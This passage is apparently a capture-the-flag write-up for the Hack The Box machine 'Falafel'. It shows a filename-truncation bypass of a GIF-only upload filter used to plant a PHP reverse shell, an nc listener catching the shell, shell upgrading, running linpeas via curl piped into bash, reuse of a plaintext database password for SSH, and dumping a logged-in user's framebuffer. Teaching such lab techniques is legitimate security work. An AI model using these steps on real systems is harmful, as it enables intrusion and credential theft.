Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 + + [ 10.10.14.6/23 ] [ /dev/pts/26 ] [~/_HTB/Falafel] + → touch Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 + + +However it needs to end in .gif, that's 4 characters, so remove 4 characters and add .gif at the end: + + + [ 10.10.14.6/23 ] [ /dev/pts/26 ] [~/_HTB/Falafel] + → mv Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai.gif + + [ 10.10.14.6/23 ] [ /dev/pts/26 ] [~/_HTB/Falafel] + → l + total 84K + drwxr-xr-x 2 nothing nothing 4.0K Dec 21 14:44 . + drwxr-xr-x 4 nothing nothing 4.0K Dec 21 11:44 .. + -rw-r--r-- 1 nothing nothing 0 Dec 21 14:42 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai.gif + -rw-r--r-- 1 nothing nothing 541 Dec 21 13:54 login.req + -rw-r--r-- 1 nothing nothing 70K Dec 21 13:14 names.txt + + + +So now that we have our 255 char long filename ending in .gif, we're going to give it the GIF magic bytes so that it gets considered as an actual GIF image: + + + [ 10.10.14.6/23 ] [ /dev/pts/26 ] [~/_HTB/Falafel] + → echo 'GIF8;' >> Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai.gif + + [ 10.10.14.6/23 ] [ /dev/pts/26 ] [~/_HTB/Falafel] + → echo 'Ippsec Is Awesome' >> Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai.gif + + [ 10.10.14.6/23 ] [ /dev/pts/26 ] [~/_HTB/Falafel] + → file Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai.gif Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai.gif: GIF image data 28745 x 29552 + + + +Now that we gave it the magic bytes and some junk data, file considers that file as a GIF image with data being 28745 x 29552. + +![](prg/9/16.png) ![](prg/9/17.png) + +So here we do CTRL+U to view sourcecode and we're going to check what happened to our file: + +![](prg/9/18.png) + +And here we see what's happening, the server didn't like our filename being that long, so it shortened it to the following string: + + + The name is too long, 255 chars total. + Trying to shorten... + New name is Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah. + --2020-12-21 15:59:18-- http://10.10.14.6:9090/Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai.gif + Connecting to 10.10.14.6:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 24 [image/gif] + Saving to: 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah' + + 0K 100% 3.78M=0s + + 2020-12-21 15:59:18 (3.78 MB/s) - 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah' saved [24/24] + + + +Here we can see that the server shortened our 255 char long filename to a 236 char long filename. + + + [ 10.10.14.6/23 ] [ /dev/pts/26 ] [~/_HTB/Falafel] + → echo -n 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah' | wc -c + + 236 + + + +Therefore since we know that the server will only acccept gif files, AND that once the file is uploaded it will get shortened to 236 characters, we're going to create a filename that is 232 chars long , make it end in .php so that the filename with the php extension is 236 chars long, and since the server will only accept image files, we're going to make it end in .gif, so let's do that with python: + + + + [ 10.10.14.6/23 ] [ /dev/pts/26 ] [~/_HTB/Falafel] + → python3 -c 'print("A")' + A + + [ 10.10.14.6/23 ] [ /dev/pts/26 ] [~/_HTB/Falafel] + → python3 -c 'print("A"*232)' + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + + [ 10.10.14.6/23 ] [ /dev/pts/26 ] [~/_HTB/Falafel] + → python3 -c 'print("A"*232,".php")' + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA .php + + [ 10.10.14.6/23 ] [ /dev/pts/26 ] [~/_HTB/Falafel] + → python3 -c 'print("A"*232,".php",".gif")' + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA .php .gif + + [ 10.10.14.6/23 ] [ /dev/pts/26 ] [~/_HTB/Falafel] + → python3 -c 'print("A"*232,".php",".gif",sep="")' + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif + + +And there you have it! now create the file, and add in a reverse php shell payload: + + + [ 10.10.14.6/23 ] [ /dev/pts/26 ] [~/_HTB/Falafel] + → touch $(python3 -c 'print("A"*232,".php",".gif",sep="")') + + [ 10.10.14.6/23 ] [ /dev/pts/26 ] [~/_HTB/Falafel] + → l + total 88K + drwxr-xr-x 2 nothing nothing 4.0K Dec 21 15:10 . + drwxr-xr-x 4 nothing nothing 4.0K Dec 21 11:44 .. + -rw-r--r-- 1 nothing nothing 0 Dec 21 15:10 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif + -rw-r--r-- 1 nothing nothing 541 Dec 21 13:54 login.req + -rw-r--r-- 1 nothing nothing 70K Dec 21 13:14 names.txt + + [ 10.10.14.6/23 ] [ /dev/pts/26 ] [~/_HTB/Falafel] + → vim AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif + + + +![](prg/9/19.png) + + + [ 10.10.14.6/23 ] [ /dev/pts/26 ] [~/_HTB/Falafel] + → l + total 88K + drwxr-xr-x 2 nothing nothing 4.0K Dec 21 15:16 . + drwxr-xr-x 4 nothing nothing 4.0K Dec 21 11:44 .. + -rw-r--r-- 1 nothing nothing 76 Dec 21 15:16 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif + -rw-r--r-- 1 nothing nothing 541 Dec 21 13:54 login.req + -rw-r--r-- 1 nothing nothing 70K Dec 21 13:14 names.txt + + [ 10.10.14.6/23 ] [ /dev/pts/26 ] [~/_HTB/Falafel] + → file AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif: PHP script, ASCII text + + + +And we have our file, but as you can see it detects it as php file, but it doesn't matter since the server only cares about the .gif extension. so let's upload it: + +![](prg/9/20.png) + +Doing CTRL+U we see that it saved the file correctly as .php: + + + The name is too long, 240 chars total. + Trying to shorten... + New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php. + --2020-12-21 16:18:12-- http://10.10.14.6:9090/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif + Connecting to 10.10.14.6:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 76 [image/gif] + Saving to: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php' + + 0K 100% 11.5M=0s + + 2020-12-21 16:18:12 (11.5 MB/s) - 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php' saved [76/76] + + + +And now from here, we're going to curl the to the url where our file is and get a reverse shell on port 9003: + +_Terminal 1:_ + + + [ 10.10.14.6/23 ] [ /dev/pts/29 ] [~/_HTB/Falafel] + → curl http://10.10.10.73/uploads/1221-1618_a5410da1317c2102/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php + + + +` _Terminal 2_ + + + [ 10.10.14.6/23 ] [ /dev/pts/0 ] [~/_HTB/Falafel] + → nc -lvnp 9003 + listening on [any] 9003 ... + **connect to [10.10.14.6] from (UNKNOWN) [10.10.10.73] 52856** + bash: cannot set terminal process group (1238): Inappropriate ioctl for device + bash: no job control in this shell + + www-data@falafel:/var/www/html/uploads/1221-1618_a5410da1317c2102$ id + id + uid=33(www-data) gid=33(www-data) groups=33(www-data) + + www-data@falafel:/var/www/html/uploads/1221-1618_a5410da1317c2102$ ls /home + ls /home + moshe + yossi + + www-data@falafel:/var/www/html/uploads/1221-1618_a5410da1317c2102$ + + + +Now before moving on, we're going to upgrade our shell to a fully interactive shell since python3 is available on this box: + + + + www-data@falafel:/var/www/html/uploads/1221-1618_a5410da1317c2102$ cd ~ + cd ~ + + www-data@falafel:/var/www$ which python3 + which python3 + /usr/bin/python3 + + www-data@falafel:/var/www$ python3 -c 'import pty;pty.spawn("/bin/bash")' + python3 -c 'import pty;pty.spawn("/bin/bash")' + + www-data@falafel:/var/www$ + + + +once that's done, we're going to get tab autocomplete, to do so hit CTRL+Z to background the shell: + + + python3 -c 'import pty;pty.spawn("/bin/bash")' + ^Z + stty raw -echo + fg + + + +As you can see here, this no longer works because on kali 2020.4 the default shell no longer is bash , but now is zsh. + +![](prg/9/21.png) + +as shown above, this is the old method for bash and not for zsh, therefore to get a fully-interactive shell on zsh do the following: + + + python3 -c 'import pty;pty.spawn("/bin/bash")' + ^Z + stty raw -echo ;fg + + + +![](prg/9/22.png) + +So as you can see, that's the new method, but you also want to be able to clear the screen, therefore you will need to set the TERM environment variable: + +![](prg/9/23.png) + + + reset + export SHELL=bash + export TERM=screen-256color + stty rows 50 columns 141 + + + +` ![](prg/9/24.png) + +And now we finally got our fully interactive reverse shell. From here we're going to use an improved version of LinEnum.sh to check for privesc paths, it's called LinPEAS, you can find it on github [here](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS): + + + [ 10.10.14.6/23 ] [ /dev/pts/30 ] [~/Tools] + → cd ~/Tools/ + + [ 10.10.14.6/23 ] [ /dev/pts/30 ] [~/Tools] + → git clone https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/ linpeas + Cloning into 'linpeas'... + remote: Enumerating objects: 22, done. + remote: Counting objects: 100% (22/22), done. + remote: Compressing objects: 100% (15/15), done. + remote: Total 3036 (delta 11), reused 14 (delta 7), pack-reused 3014 + Receiving objects: 100% (3036/3036), 14.38 MiB | 2.29 MiB/s, done. + Resolving deltas: 100% (1749/1749), done. + + [ 10.10.14.6/23 ] [ /dev/pts/30 ] [~/Tools] + → cd ~/_HTB/Falafel + + [ 10.10.14.6/23 ] [ /dev/pts/30 ] [~/_HTB/Falafel] + → sudo updatedb + [sudo] password for nothing: + + [ 10.10.14.6/23 ] [ /dev/pts/30 ] [~/_HTB/Falafel] + → locate linpeas.sh + /home/nothing/Tools/linpeas/linPEAS/linpeas.sh + + [ 10.10.14.6/23 ] [ /dev/pts/30 ] [~/_HTB/Falafel] + → cp $(locate linpeas.sh) . + + [ 10.10.14.6/23 ] [ /dev/pts/30 ] [~/_HTB/Falafel] + → l + total 392K + drwxr-xr-x 2 nothing nothing 4.0K Dec 21 15:57 . + drwxr-xr-x 4 nothing nothing 4.0K Dec 21 11:44 .. + -rw-r--r-- 1 nothing nothing 76 Dec 21 15:16 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif + -rwxr-xr-x 1 nothing nothing 302K Dec 21 15:57 linpeas.sh + -rw-r--r-- 1 nothing nothing 541 Dec 21 13:54 login.req + -rw-r--r-- 1 nothing nothing 70K Dec 21 13:14 names.txt + + + +Now that we got our linpeas.sh let's get it onto the box: + + + www-data@falafel:/var/www/html/uploads/1221-1618_a5410da1317c2102$ which wget && which curl + /usr/bin/wget + /usr/bin/curl + + + +We can use both wget or curl to get it on the box, but for now we're going to use curl and pipe it into bash: + +![](prg/9/25.png) + +Here, linpeas is going to find EVERYTHING for us, therefore i'm going to put the full results [here](prg/9/linpeas.html): + +Basically, linpeas found a few interesting things for us: + +![](prg/9/41.png) + +That's the unintended way of doing the box, you just grab whatever CVEs linenum.sh/linpeas.sh report to you and try them one by one. The intended way of doing this box is to poke around the web service and find moshe's password that was in the connection.php file: + + + www-data@falafel:/var/www/html/uploads/1221-1520_fcb5b2f30c7007fd$ cd ../.. + www-data@falafel:/var/www/html$ ls + assets connection.php cyberlaw.txt header.php images js login_logic.php profile.php style.php uploads + authorized.php css footer.php icon.png index.php login.php logout.php robots.txt upload.php + www-data@falafel:/var/www/html$ cat connection.php + <****?php + define('DB_SERVER', 'localhost:3306');**define('DB_USERNAME', 'moshe'); + define('DB_PASSWORD', 'falafelIsReallyTasty');** + define('DB_DATABASE', 'falafel'); + $db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE); + // Check connection + if (mysqli_connect_errno()) + { + echo "Failed to connect to MySQL: " . mysqli_connect_error(); + } + ?> + + + +And there we have it, we have credentials: **moshe:falafelIsReallyTasty** now instead of su as moshe we're going to login via ssh as the moshe user : + + + [ 10.10.14.6/23 ] [ /dev/pts/29 ] [~/_HTB/Falafel] + → ssh moshe@10.10.10.73 + The authenticity of host '10.10.10.73 (10.10.10.73)' can't be established. + ECDSA key fingerprint is SHA256:XPYifpo9zwt53hU1RwUWqFvOB3TlCtyA1PfM9frNWSw. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '10.10.10.73' (ECDSA) to the list of known hosts. + moshe@10.10.10.73's password: + Permission denied, please try again. + moshe@10.10.10.73's password: + Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-112-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + 0 packages can be updated. + 0 updates are security updates. + + + Last login: Mon Feb 5 23:35:10 2018 from 10.10.14.2 + $ bash + setterm: terminal screen-256color does not support --blank + moshe@falafel:~$ id + uid=1001(moshe) gid=1001(moshe) groups=1001(moshe),4(adm),8(mail),9(news),22(voice),25(floppy),29(audio),44(video),60(games) + moshe@falafel:~$ ls + user.txt + moshe@falafel:~$ cat user.txt + c8XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And there we have it! we got the user flag. + +## **Part 3 : Getting Root Access** + +Now in order to get to the root user, we need to take a look at the video group: + + + moshe@falafel:~$ w + 17:35:08 up 4:55, 2 users, load average: 0.00, 0.00, 0.00 + USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT + yossi tty1 12:39 4:55m 0.06s 0.05s -bash + moshe pts/2 10.10.14.6 17:31 0.00s 0.02s 0.00s w + + moshe@falafel:~$ id + uid=1001(moshe) gid=1001(moshe) groups=1001(moshe),4(adm),8(mail),9(news),22(voice),25(floppy),29(audio),44(video),60(games) + + + +Here we are hinted toward something: first of all the user yossi is logged in from tty1, which could mean that he is logged in physically to the machine, next is that we are part of the video group, therefore we could try to dump whatever is on yossi's screen: + + + moshe@falafel:~$ ls /dev/ -lash | grep fb + 0 crw-rw---- 1 root video 29, 0 Dec 21 12:39 fb0 + + + +` ![](prg/9/42.png) + + + [ 10.10.14.6/23 ] [ /dev/pts/0 ] [~/_HTB/Falafel] + → file fb.raw + fb.raw: Targa image data - Map (256-257) 257 x 1 x 1 +257 +1 - 1-bit alpha "\001" + + + +Then to view it we're going to use gimp: + + + [ 10.10.14.6/23 ] [ /dev/pts/0 ] [~/_HTB/Falafel] + → sudo apt install gimp -y + + [ 10.10.14.6/23 ] [ /dev/pts/0 ] [~/_HTB/Falafel] + → gimp + + +` ![](prg/9/43.png) ![](prg/9/44.png) + +However here you can see that we get some garbage, it cannot display what we want and that is because it does not have the correct size, so we're going to enumerate it further to get it's size from moshe's ssh connection: + + + moshe@falafel:/sys$ find . | grep fb0 + find: ‘./fs/fuse/connections/40’: Permission denied + ./devices/pci0000:00/0000:00:0f.0/graphics/fb0 + ./devices/pci0000:00/0000:00:0f.0/graphics/fb0/dev + ./devices/pci0000:00/0000:00:0f.0/graphics/fb0/pan + ./devices/pci0000:00/0000:00:0f.0/graphics/fb0/name + ./devices/pci0000:00/0000:00:0f.0/graphics/fb0/mode + ./devices/pci0000:00/0000:00:0f.0/graphics/fb0/console + ./devices/pci0000:00/0000:00:0f.0/graphics/fb0/blank + ./devices/pci0000:00/0000:00:0f.0/graphics/fb0/modes + ./devices/pci0000:00/0000:00:0f.0/graphics/fb0/power + ./devices/pci0000:00/0000:00:0f.0/graphics/fb0/power/control + ./devices/pci0000:00/0000:00:0f.0/graphics/fb0/power/async + ./devices/pci0000:00/0000:00:0f.0/graphics/fb0/power/runtime_enabled + ./devices/pci0000:00/0000:00:0f.0/graphics/fb0/power/runtime_active_kids + 